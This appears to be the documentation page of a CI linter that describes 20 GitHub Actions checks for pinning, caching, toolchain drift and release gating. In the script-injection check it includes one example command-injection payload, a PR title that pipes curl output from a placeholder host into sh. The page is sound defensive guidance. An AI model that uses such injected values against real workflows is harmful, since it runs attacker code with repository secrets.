Skip to content

CI / release

GitHub Actions checks: install reproducibility, toolchain version drift, and release-pipeline correctness (tests/analysis before publish, no debug/dev artifacts). Secrets are never resolved and are redacted in evidence.

20 checks.

ci-action-unpinned-ref

Severity: Low

A mutable action ref lets whoever controls the tag swap in new code with no diff in your repo — a supply-chain foothold that runs with your workflow secrets (tj-actions CVE-2025-30066).

How to fix: Pin each third-party action to a full commit SHA (uses: owner/action@<40-char-sha>), with the tag in a trailing comment. Dependabot / pinact can automate this.


ci-cache-key-missing-lockfile

Severity: Low

A cache key not derived from the lockfile can serve a stale dependency cache after the lockfile changes, masking version drift or breaking the build.

How to fix: Include the lockfile in the cache key, e.g. key: ${{ runner.os }}-deps-${{ hashFiles('**/package-lock.json') }}.


ci-cache-key-too-broad

Severity: Low

Hashing the whole tree changes the cache key on almost every build (any generated or touched file busts it), so the cache is written but effectively never restored — dependencies re-download every run.

How to fix: Narrow the key to the lockfile(s), e.g. key: ${{ runner.os }}-gradle-${{ hashFiles('/.gradle', '/gradle-wrapper.properties') }}.


ci-dangerous-trigger-untrusted-checkout

Severity: Medium

pull_request_target and workflow_run run with the base repo's read/write GITHUB_TOKEN, its secrets, and default-branch cache write access. Building or running PR/fork code fetched under them can exfiltrate secrets or poison the cache — a potential repo takeover, with the build still green.

How to fix: Do not build/run untrusted code under pull_request_target/workflow_run. Split the job: run untrusted code in a plain pull_request workflow (no secrets), and keep the privileged trigger for steps that only need metadata. If a checkout is unavoidable, gate it behind a label/permission check and treat the token as untrusted.


ci-flutter-version-drift

Severity: Low

Different Flutter versions across CI jobs build/test against different toolchains, so a green check on one job does not guarantee the others.

How to fix: Pin one Flutter version across all workflows (shared env var, matrix include, or version file).


ci-java-version-drift

Severity: Low

Different Java versions across CI jobs can produce class-version mismatches and inconsistent builds.

How to fix: Pin one Java version across all workflows.


ci-low-trust-cache-write-risk

Severity: Medium

pull_request_target and workflow_run run with write access to the default-branch cache while processing attacker-influenced PR/fork input. A cache entry poisoned here is later restored by trusted builds, so malicious content flows into the main pipeline — cache poisoning, with the run still green.

How to fix: Do not write the cache under pull_request_target/workflow_run. Restore read-only (actions/cache/restore) under privileged triggers, and only save the cache from a trusted plain pull_request/push job. Scope cache keys so untrusted runs cannot overwrite trusted entries.


ci-quality-gate-continue-on-error

Severity: Medium

A quality gate that never fails the build is no gate at all — broken tests, lint errors, or failed analysis pass unnoticed and the pipeline stays green.

How to fix: Remove continue-on-error (or the || true) from verification steps; keep it only on genuinely best-effort steps (uploads, cleanup, notifications).


ci-release-builds-debug-artifact

Severity: Medium

A debug artifact is unoptimized, larger, and may expose debuggable internals — it must never be what gets published.

How to fix: Build the release configuration on the release path (assembleRelease / bundleRelease, flutter build --release, -configuration Release).


ci-release-gate-order-drift

Severity: Low

If the gate runs after the publish step, a broken artifact is already shipped by the time the check fails.

How to fix: Reorder steps so tests/lint run and pass before the publish/upload step.


ci-release-uses-development-config

Severity: Low

Shipping a release built with a dev/staging flavor can point the app at non-production backends or enable debug behavior in production.

How to fix: Use the production flavor/configuration on the release path; gate dev/staging builds to non-release workflows.


ci-release-without-static-analysis

Severity: Low

Static analysis catches a class of defects before release; skipping it on the release path lets analyzer-detectable issues ship.

How to fix: Add a lint/analyze step (flutter analyze, ktlint/detekt, swiftlint, eslint) to the release path.


ci-release-without-tests

Severity: Medium

Shipping without a test gate means a regression goes straight to users — the release pipeline should fail before publishing, not after.

How to fix: Run the test suite before the publish step, or make the release job depend on a test job via needs.


ci-script-injection-untrusted-input

Severity: High

The value becomes part of the generated script source, so a crafted title/branch/comment like a"; curl evil | sh; " executes arbitrary commands with the workflow's GITHUB_TOKEN and secrets — command injection with a green build.

How to fix: Bind the expression to an intermediate env: variable and reference it as a quoted shell variable (env: TITLE: ${{ github.event.pull_request.title }}run: echo "$TITLE"), or pass it as an argument to a JS action. Never interpolate ${{ … }} untrusted input directly into run:.


ci-test-timeout-missing

Severity: Low

A hung emulator, pod install, or Gradle daemon then wedges the job for up to 6 hours — burning runner minutes and blocking the queue instead of failing fast.

How to fix: Add a realistic timeout-minutes: to each test/build job (e.g. 20–30 for unit tests, higher for device/emulator jobs).


ci-toolchain-version-unpinned

Severity: Low

An unpinned toolchain means the build silently moves to a new Node/Java/Flutter version when the runner image updates — a classic source of surprise breakages.

How to fix: Pin an explicit version (node-version / java-version / flutter-version), ideally via a version file checked into the repo.


ci-unlocked-cocoapods-install

Severity: Low

pod update in CI ignores the committed Podfile.lock, producing non-reproducible pod versions.

How to fix: Use pod install (honors Podfile.lock) in CI; run pod update deliberately and commit the updated lock.


ci-unlocked-flutter-install

Severity: Low

pub upgrade in CI defeats the lockfile, so each run can pull different dependency versions.

How to fix: Use flutter pub get (honors pubspec.lock) in CI; run pub upgrade deliberately and commit the updated lock.


ci-unlocked-node-install

Severity: Medium

Installing without a frozen lockfile lets transitive versions drift between CI runs and from local — builds become non-reproducible and "works on my machine" bugs slip through.

How to fix: Use npm ci, yarn install --frozen-lockfile, or pnpm install --frozen-lockfile in CI, and commit the lockfile.


ci-xcode-version-drift

Severity: Low

Different Xcode versions across CI jobs build against different SDKs, so results are not comparable and releases can differ from what was tested.

How to fix: Pin one Xcode version across all workflows.